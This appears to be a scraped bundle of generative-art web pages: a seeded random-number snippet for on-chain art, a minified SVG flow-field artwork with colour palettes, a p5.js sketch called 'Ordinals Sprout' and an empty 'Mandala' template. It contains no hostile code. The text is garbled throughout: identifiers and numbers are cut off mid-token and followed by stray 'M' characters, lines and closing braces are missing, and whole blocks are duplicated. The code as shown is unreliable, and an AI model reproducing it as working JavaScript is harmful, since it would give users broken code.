        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get(M
"seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 10139042M
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfM
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
  <script type="module" crossorigin>
(function(){const e=document.createElement("link").relList;if(e&&e.supports&&e.supports("modulepreload"))return;for(const s of document.querySelectorAll('link[rel="modulepreload"]'))a(s);new MutationObserver(s=>{for(const o of s)if(o.type==="childList")for(const h of o.addedNodes)h.tagName==="LINK"&&h.rel==="modulepreload"&&a(h)}).observe(document,{chM
ildList:!0,subtree:!0});function t(s){const o={};return s.integrity&&(o.integrity=s.integrity),s.referrerpolicy&&(o.referrerPolicy=s.referrerpolicy),s.crossorigin==="use-credentials"?o.credentials="include":s.crossorigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function a(s){if(s.ep)return;s.ep=!0;const o=t(s);fetch(s.href,o)}})();class A{constructor(e,t,a,s=255){this._rgba=[e/255,t/255,a/255,s/255],this._hsla=rt(this._rgba)}set hsla(e){this._hsla=e}get hsla(){return[...this._hsla]}get h(){rM
eturn this._hsla[0]}get s(){return this._hsla[1]}get l(){return this._hsla[2]}get a(){return this._hsla[3]}sat(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[1]=e,t}hue(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[0]=e,t}lum(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[2]=e,t}alpha(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[3]=e,t}toString(){return this.a<1?`hsl(${this.h*360}deg ${this.s*100}% ${this.l*100}% / ${this.a*100}%)`:`hsl(${this.h*360}degM
 ${this.s*100}% ${this.l*100}%)`}static from(e){if(e instanceof A)return e;if(typeof e=="number")return new A(255,0,0);{let t;switch(e.length){case 9:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})(?<a>[0-9a-f]{2})$/i),t&&t.groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16),parseInt(t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 7:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})$/i),t&&tM
.groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;case 5:if(t=e.match(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])(?<a>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16),parseInt(""+t.groups.a+t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 4:if(t=e.matcM
h(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;default:throw new Error(`Error parsing color string '${e}'`)}}}}function rt([n,e,t,a]){const s=Math.max(n,e,t),o=Math.min(n,e,t);let h;if(s===o)h=0;else{const F=s-o;s===n?h=(e-t)/F%6:s===e?h=(t-n)/F+2:h=(n-e)/F+4,h*=60,h<0&&(h+=360)}const E=s-o,g=(s+o)/2M
,O=E===0?0:E/(1-Math.abs(2*g-1));return[h/360,O,g,a]}const{sin:X,cos:st,abs:ut,PI:mt,acos:Bt,asin:wt,sqrt:ot,round:Dt,floor:Et}=Math,x=(n,e)=>[n[0]+e[0],n[1]+e[1]],it=(n,e)=>[n[0]*e,n[1]*e],lt=n=>ot(n[0]**2+n[1]**2),v=(n,e,t)=>[n[0]+e[0]*t,n[1]+e[1]*t],D=(n,e=1)=>{const t=lt(n);return t===0?[0,0]:it(n,e/t)},at=(n,e,t=2)=>(a,s)=>{let o=0,h=1,E=1;for(let g=0;g<t;g++)o+=h*X(X(a/n*E)+st(s/e*E)),E*=1.97834,h*=.5;return o},C=(n,[e,t])=>{const s=n(e+1e-4,t),o=n(e-1e-4,t),h=n(e,t+1e-4),E=n(e,t-1e-4);return[(s-o)/(2*1e-4),(M
h-E)/(2*1e-4)]},b=(n,e)=>{const[t,a]=C(n,e);return[a,-t]},Y=(n,e,t)=>{const a=[e];for(let s=0;s<t;s++)e=x(e,n(e)),a.push(e);return a},Z=n=>Array.from(n,(e,t)=>n[n.length-1-t]),ct=([n,...e],t=!1)=>{let a=`M ${n.join(" ")}`;return a+=e.map(s=>`L ${s.join(" ")}`).join(" "),a+=t?"z":"",a};class pt{constructor(){this.prng=sfc32(...cyrb128(seed))}unit(){return this.prng()}prob(e){return this.prng()<e}float(e,t){return this.prng()*(t-e)+e}int(e,t){return Math.floor(this.prng()*(t-e)+e)}pick(e){return e[this.int(0,e.lengthM
)]}}const z={SteamPunk:["#696969","#ebcc23","#F5F5DC","#AF9B60","#4F2A0C","#FF7034","#8B2800"],Colorful:["#C6EEFA","#db504a","#084c61","#e3b505","#4f6d7a","#56a3a6"],pal0:["#DEC78E","#192220","#BE3C39","#7E2925","#CCB477","#647657","#2D4C40","#6AB29B"],pal1:["#B4BCA4","#0E525A","#C2502E","#D47651","#0C353B","#F5AF6B","#897563","#6A402B"],pal2:["#F1D8AF","#785C74","#323666","#298D98","#E36075","#CF9A94","#5BE6CA","#F5BA6A"],pal3:["#6D9995","#516F6B","#233C45","#EDDC8D","#E69837","#7ED0D6","#A89E7A","#3E371D"],pal4:[M
"#BDD8C1","#20343C","#3C7179","#EDCD41","#DE694E","#8A3831","#79A791","#33B7C4"],pal5:["#E2DD91","#272C50","#3E9890","#2D5E78","#D53154","#69CFA0","#7C3067","#D78E65"],pal6:["#347179","#20414B","#E9A345","#3BA0A6","#36D8DB","#C7B689","#85B9B3","#975836"],pal7:["#6C95A7","#436FA7","#98A5BB","#EDCDC0","#483F6B","#E8A094","#DC46AB","#AE6362"],pal8:["#9BD7D0","#2C4D57","#172734","#7D5440","#337686","#C59B60","#E18C1F","#27C4CB"],pal9:["#735A82","#B5A5B1","#2D5570","#4CC9D4","#2893A5","#282C4A","#D74855","#EBB137"],pal1M
0:["#6D7B7E","#880B5B","#B28A96","#63BE9F","#27A188","#0D5B50","#C9367B","#CCEDD5"],pal11:["#09272F","#DDAF37","#67A793","#9ED8C7","#53B7AC","#409289","#34736E","#1A514F"],pal12:["#AAB29C","#C95734","#973819","#D27855","#776250","#F5B06B","#0F3438","#0E525A"],pal13:["#A4B1C7","#BD6F68","#EEB5A7","#6C95A7","#2D72C1","#3D3C57","#554A7D","#DC47AB"],pal14:["#101C39","#642E3D","#E14A47","#D7B176","#2EB1B8","#3A5F75","#5D7282","#20415F"],pal15:["#B7BEBC","#C7B55E","#5D9283","#88BCB7","#69AFAB","#2F4047","#51606B","#8F698M
D"],pal16:["#877855","#FBF6CD","#B86B42","#30200E","#5F4D37","#C3A064","#DDC081","#F1DE9A"],pal17:["#100B2C","#119065","#28224B","#160B5B","#433E74","#7F7AA1","#C2BDD9","#B70D44"]},ht=(n,{Palette:e})=>{var Q;const t=new pt,[a,s,...o]=z[e],h=z[e],E=[t.pick(h),t.pick(h)];[t.int(0,h.length/3),t.int(h.length/3,2*h.length/3),t.int(2*h.length/3,h.length)].map(m=>h[m]);const g=at(t.float(89,300),t.float(100,300),t.int(1,5)),O=Y(m=>D(C(g,m),5),[200,200],10).map(m=>Y(i=>D(b(g,i),5),m,140)),F=.67,W=innerWidth/innerHeight>F?(M
innerHeight-10)*F:innerWidth-10,K=W/F,L=600,R=L/F,B=L/2,w=R/2,u=(m,i,f,d)=>{const l=document.getElementById(m),r=document.createElementNS(G,i);return Object.keys(f).forEach(c=>c==="xlink:href"?r.setAttributeNS(J,c,f[c]):r.setAttribute(c,f[c])),l&&(d===void 0?l.appendChild(r):l.insertBefore(r,d)),r},G="http://www.w3.org/2000/svg",J="http://www.w3.org/1999/xlink";document.createElementNS(G,"svg");const j=document.createElement("div");j.setAttribute("id","svgC"),n.style.background="#ddd",n.style.width=`${innerWidth-10M
}px`,n.style.height=`${innerHeight-10}px`,n.style.padding="5px",j.style.width=`${W}px`,j.style.height=`${K}px`,j.style.margin="0 auto",j.style.boxShadow="2px 3px 6px rgba(0,0,0,0.5)",j.style.borderRadius="0.5vh",n.appendChild(j),u("svgC","svg",{id:"art",xmlns:G,"xmlns:xlink":J,"shape-rendering":"geometricPrecision",width:L,height:R,viewBox:`${-B} ${-w} ${L} ${R} `,style:`display:block; width:${W}; height:${K}`}),u("art","defs",{id:"df"}),u("df","filter",{id:"blur"}),u("blur","feGaussianBlur",{stdDeviation:t.int(1,5M
)}),u("df","filter",{id:"colorF"}),u("colorF","feColorMatrix",{type:"matrix",values:`${t.float(.2,.8)} 1 0 0 0
        0 0 0 1 0`}),u("df","pattern",{id:"hash0",x:0,y:0,width:t.float(1,3),height:5,stroke:t.pick(o),patternTransform:`rotate(${t.int(0,90)} 0 0)`,patternUnits:"userSpaceOnUse"}),u("hash0","line",{x1:0,y1:0,x2:0,y2:5,fill:"none","stroke-width":.3}),u("df","linearGradient",{id:"grad2",x1:"0%",x2:"100%",y1:"0",y2:"0"}),u("grad2","stop",{offset:"0%","stop-color":E[0]}M
),u("grad2","stop",{offset:"100%","stop-color":E[1]}),u("art","rect",{x:-B,y:-w,width:L,height:R,fill:a,id:"bg"}),t.int(30,70),t.int(150,250);for(let m=0;m<200;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){conM
st c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}l+=" z",u("art","path",{d:l,stroke:"none",fill:t.pick(o),"fill-opacity":.1})}u("art","g",{id:"stripes",filter:"url(#blur)"});for(let m=0;m<100;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<5;l++){let r=v(d,C(g,d),400);f.push(r),d=r}for(let l=0;l<20;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let $=0;$<5;$++){let M=v(p,b(g,p),400),S=v(I,b(g,I),400);r.push(M),c.unshift(S),p=M,I=S}d=c[0];let y=[];for(let $=0;$<5;$++){let M=v(d,C(g,d),400);y.unshM
ift(M),d=M}const[T,..._]=[...f,...r,...y,...c];let H=`M ${T.join(" ")}`;H+=_.map($=>`L ${$.join(" ")}`).join(" "),u("stripes","path",{d:H,fill:t.prob(.9)?t.pick(h):"url(#grad2)",stroke:"none"}),f=[c[0],...Z(y)]}}for(let m=0;m<80;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(M
g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}u("art","path",{d:l,stroke:t.pick(o),fill:"none"})}const et=60,nt=10,U=t.float(1,3);for(let m=0;m<nt;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<20;l++){let r=v(d,D(b(g,d)),U);f.push(r),d=r}for(let l=0;l<et;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let k=0;k<20;k++){let N=v(p,D(C(g,p)),U),V=v(I,D(C(g,I)),U);r.push(N),c.unshift(V),p=N,I=V}d=c[0];let y=[];const T=r[r.lengtM
h-1];let _=1/0,H=(d[0]-T[0])**2+(d[1]-T[1])**2;for(;H<_;){let k=v(d,D(b(g,d)),U);y.unshift(k),d=k,_=H,H=(d[0]-T[0])**2+(d[1]-T[1])**2}const[$,...M]=[...f,...r,...y,...c];let S=`M ${$.join(" ")}`;S+=M.map(k=>`L ${k.join(" ")}`).join(" "),u("art","path",{d:S,fill:t.prob(.1)?"url(#grad2)":E[l%2],stroke:"none"}),f=[c[0],...Array.from(y,(k,N)=>y[y.length-1-N])]}}u("art","g",{id:"grid"}),O.forEach((m,i)=>{if(i===0)return;const f=O[i-1],d=4;for(let l=0,r=0;l<f.length;l+=d-1,r++){const c=Z(O[i].slice(l,l+d)),p=ct([...f.sliM
ce(l,l+d),...c],!0);u("grid","path",{d:p,fill:(i+r)%2===0?t.pick(o):s,stroke:"none"})}}),u("art","g",{id:"border",filter:"url(#colorF)"}),u("border","rect",{x:-B,y:-w,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:w-10,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),u("border","rect",{x:B-10,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),(Q=A.from(s))==null||Q.sat(1)},dt=n=>typeof n=="string",tt=(n,e,t)=>{const a={expiM
re:1e4,utf8:!1,...t};dt(e)&&a.utf8&&(e=new TextEncoder().encode(e),a.mime+=";charset=UTF-8");const s=URL.createObjectURL(e instanceof Blob?e:new Blob([e],{type:a.mime})),o=document.createElement("a");o.setAttribute("download",n),o.setAttribute("href",s),document.body.appendChild(o),o.click(),document.body.removeChild(o),a.expire>0&&setTimeout(()=>URL.revokeObjectURL(s),a.expire)},ft=(n,e,t="png",a=.95)=>{const s=`image/${t}`;n.toBlob(o=>o?tt(`${e}.${t}`,o,{mime:s}):console.warn("can't download canvas"),s,a)};mathRaM
nd();window.$generativeTraits={Palette:Object.keys(z)[Math.floor(mathRand()*Object.keys(z).length)]};console.log(window.$generativeTraits);function gt(){const n=document.getElementById("art");let[e,t]=[n.getAttribute("width"),n.getAttribute("height")],a=new Blob([n.outerHTML],{type:"image/svg+xml;charset=utf-8"}),s=URL.createObjectURL(a),o=new Image;o.onload=()=>{const h=document.createElement("canvas");h.width=e*P,h.height=t*P,h.getContext("2d").drawImage(o,0,0,e*P,t*P),ft(h,`${seed} - ${new Date().getTime()}-art.M
png`)},o.src=s}const q=document.createElement("div");q.setAttribute("id","app");document.body.prepend(q);ht(q,window.$generativeTraits);const P=parseInt(new URLSearchParams(window.location.search).get("zoom")||"8");window.addEventListener("keyup",n=>{switch(n.key){case"s":tt(`${seed} - ${new Date().getTime()}-art.svg`,document.getElementById("art").outerHTML,{mime:"image/svg+xml"});return;case"x":gt();return}});
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Ordinals Sprout</title>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdeM
fghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 271604M
4179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            display: flex;
            position: fixed;
            right: 0;
            bottom: 0;
            color: #fff;
            background-color: #000;
            justify-content: center;
            align-items: center;
            margin: 0;
            padding: 0;
            font-size: .8em
        #fullScreen canvas,
 object-fit: contain;
            max-height: 100%;
            max-width: 100%
        #fullScreen {
            justify-content: center;
            align-items: center
    <script type="text/javascript">
        const rand = mathRand();
        //////////////// FEATURES
        let myTitle = "ORDINALS SPROUT";
        console.log(myTitle + " | SMLDMS 2023.02")
        let globalSize = 1000;
        let myString = "ORDINALS"
        let textAlpha = 160;
        let strokeAlpha = 127;
        let strokeColor = 0;
        let strokeSize = 1;
        let fontSize;
        let fontSampleFactor = mathRandBetween(0.15, 0.33); //How many points there are: the higher the number, the closer together they are (more detail)
        let simplifyFactor = 0.0; // 0 is normal
        let noiseZoom = mathRandBetween(0.033, 0.01) //how zoomed in the perlin noise is (0.05 to 0.01)
        let noiseOctaves = mathRandBetween(1, M
50); //The number of octaves for the noise
        let noiseFalloff = mathRandBetween(0.4, 0.6); //The falloff for the noise layers
        let zOffsetChange = 0.1; //How much the noise field changes in the z direction each frame
        let individualZOffset = 0.01; //how far away the points/lines are from each other in the z noise axies (the bigger the number, the more chaotic)
        let speedFactor = mathRandBetween(10, 100);
        let lineSpeed = speedFactor; //the maximum amount each point can move M
        let points = [];
        let startingPoints;
        let maxFrame = 100;
        function preload() {
            font = loadFont("https://gateway.pinata.cloud/ipfs/QmYhhjHt9J8N1CXQnHdNRAt7c1BmzyUsdw8s1stfeDJrP5");
        function setup() {
            randomSeed(seed);
            noiseSeed(seed);
            cnv = createCanvas(globalSize * 1.77, globalSize);
            cnv.parent('fullScreen');
            rectMode(CENTER)
        angleMode(DEGREES)
            pixelDensity(2)
            fontSize = width * 0.1618
            textFont(font);
            textSize(fontSize);
            textAlign(CENTER, BASELINE)
            noFill()
            stroke(strokeColor);
            strokeWeight(strokeSize)
            background(0)
            for (let i = 0; i < 25; i++) {
                push()
                fill(255)
                noStroke()
                rect(mathRand() * width, mathRand() * height, mathRandBetweenM
                pop()
            fill(255)
            noStroke()
            rect(width / 2, height / 2, width, height * 0.45)
            for (let i = 0; i < 50; i++) {
                push()
                fill(0)
                noStroke()
                rect(mathRand() * width, mathRand() * height, mathRandBetween(5, 150))
                pop()
            grainy(15)
            noiseDetail(noiseOctaves, noiseFalloffM
            translate(0, 50)
            makeTxt(myString, width / 2, height * 0.55);
            grainy(5)
        function makeTxt(string, x, y) {
            startingPoints = font.textToPoints(string, x - textWidth(string) / 2, y, fontSize, {
                sampleFactor: fontSampleFactor,
                simplifyThreshold: simplifyFactor
            for (let p = 0; p < startingPoints.length; p++) {
                points[p] = startingPoints[p];
                pointsM
[p].zOffset = random();
            if (showText) {
                stroke(strokeColor, strokeAlpha);
                fill(255, 255);
                text(myString, x, y);
            for (let i = 0; i <= maxFrame; i++) {
                for (let pt = 0; pt < points.length; pt++) {
                    let p = points[pt];
                    let noiseX = p.x * noiseZoom;
                    let noiseY = p.y * noiseZoom;
                    let noiseZ = frameCount * zOffsetM
Change + p.zOffset * individualZOffset;
                    lineSpeed = map(pt, 0, startingPoints.length, -speedFactor, speedFactor)
                    let newPX = p.x + map(noise(noiseX, noiseY, noiseZ), 0, 1, -lineSpeed, lineSpeed);
                    let newPY = p.y + map(noise(noiseX, noiseY, noiseZ + 23), 0, 1, -lineSpeed, lineSpeed);
                    if (i < maxFrame) {
                        rect(p.x, p.y, globalSize / 125)
                    }
                    else {
                    }
                    p.x = newPX;
                    p.y = newPY;
        function grainy(force) {
            _seed = floor(mathRand() * 999999)
            randomSeed(_seed)
            noiseSeed(_seed)
            loadPixels();
            let d = pixelDensity();
            let halfImage = 4 * (width * d) * (height * d);
            for (let i = 0; i < halfImage; i += 4) {
                grainAmount = random(-force, force);
                pixels[i] = M
pixels[i] + grainAmount;
                pixels[i + 1] = pixels[i + 1] + grainAmount;
                pixels[i + 2] = pixels[i + 2] + grainAmount;
                pixels[i + 3] = pixels[i + 3] + grainAmount
            updatePixels();
        function keyTyped() {
            if (keyCode === 83) { // if "s" is pressed
                save(myTitle + '.png');
        function mathRandBetween(a, b) {
            if (!b) {
                return mathRandL
            return mathRand() * (b - a) + a
    <div id="fullScreen"> </div>
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Mandala</title>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <script type="text/javascript" >
        // !!!!!!!!!!!!M
!!!!!!!!!!!!!!!!!!!!!!!!
        // INSERT YOUR GENERATIVE CODE HERE
        // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get(M
"seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 10139042M
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfM
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
  <script type="module" crossorigin>
(function(){const e=document.createElement("link").relList;if(e&&e.supports&&e.supports("modulepreload"))return;for(const s of document.querySelectorAll('link[rel="modulepreload"]'))a(s);new MutationObserver(s=>{for(const o of s)if(o.type==="childList")for(const h of o.addedNodes)h.tagName==="LINK"&&h.rel==="modulepreload"&&a(h)}).observe(document,{chM
ildList:!0,subtree:!0});function t(s){const o={};return s.integrity&&(o.integrity=s.integrity),s.referrerpolicy&&(o.referrerPolicy=s.referrerpolicy),s.crossorigin==="use-credentials"?o.credentials="include":s.crossorigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function a(s){if(s.ep)return;s.ep=!0;const o=t(s);fetch(s.href,o)}})();class A{constructor(e,t,a,s=255){this._rgba=[e/255,t/255,a/255,s/255],this._hsla=rt(this._rgba)}set hsla(e){this._hsla=e}get hsla(){return[...this._hsla]}get h(){rM
eturn this._hsla[0]}get s(){return this._hsla[1]}get l(){return this._hsla[2]}get a(){return this._hsla[3]}sat(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[1]=e,t}hue(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[0]=e,t}lum(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[2]=e,t}alpha(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[3]=e,t}toString(){return this.a<1?`hsl(${this.h*360}deg ${this.s*100}% ${this.l*100}% / ${this.a*100}%)`:`hsl(${this.h*360}degM
 ${this.s*100}% ${this.l*100}%)`}static from(e){if(e instanceof A)return e;if(typeof e=="number")return new A(255,0,0);{let t;switch(e.length){case 9:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})(?<a>[0-9a-f]{2})$/i),t&&t.groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16),parseInt(t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 7:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})$/i),t&&tM
.groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;case 5:if(t=e.match(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])(?<a>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16),parseInt(""+t.groups.a+t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 4:if(t=e.matcM
h(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;default:throw new Error(`Error parsing color string '${e}'`)}}}}function rt([n,e,t,a]){const s=Math.max(n,e,t),o=Math.min(n,e,t);let h;if(s===o)h=0;else{const F=s-o;s===n?h=(e-t)/F%6:s===e?h=(t-n)/F+2:h=(n-e)/F+4,h*=60,h<0&&(h+=360)}const E=s-o,g=(s+o)/2M
,O=E===0?0:E/(1-Math.abs(2*g-1));return[h/360,O,g,a]}const{sin:X,cos:st,abs:ut,PI:mt,acos:Bt,asin:wt,sqrt:ot,round:Dt,floor:Et}=Math,x=(n,e)=>[n[0]+e[0],n[1]+e[1]],it=(n,e)=>[n[0]*e,n[1]*e],lt=n=>ot(n[0]**2+n[1]**2),v=(n,e,t)=>[n[0]+e[0]*t,n[1]+e[1]*t],D=(n,e=1)=>{const t=lt(n);return t===0?[0,0]:it(n,e/t)},at=(n,e,t=2)=>(a,s)=>{let o=0,h=1,E=1;for(let g=0;g<t;g++)o+=h*X(X(a/n*E)+st(s/e*E)),E*=1.97834,h*=.5;return o},C=(n,[e,t])=>{const s=n(e+1e-4,t),o=n(e-1e-4,t),h=n(e,t+1e-4),E=n(e,t-1e-4);return[(s-o)/(2*1e-4),(M
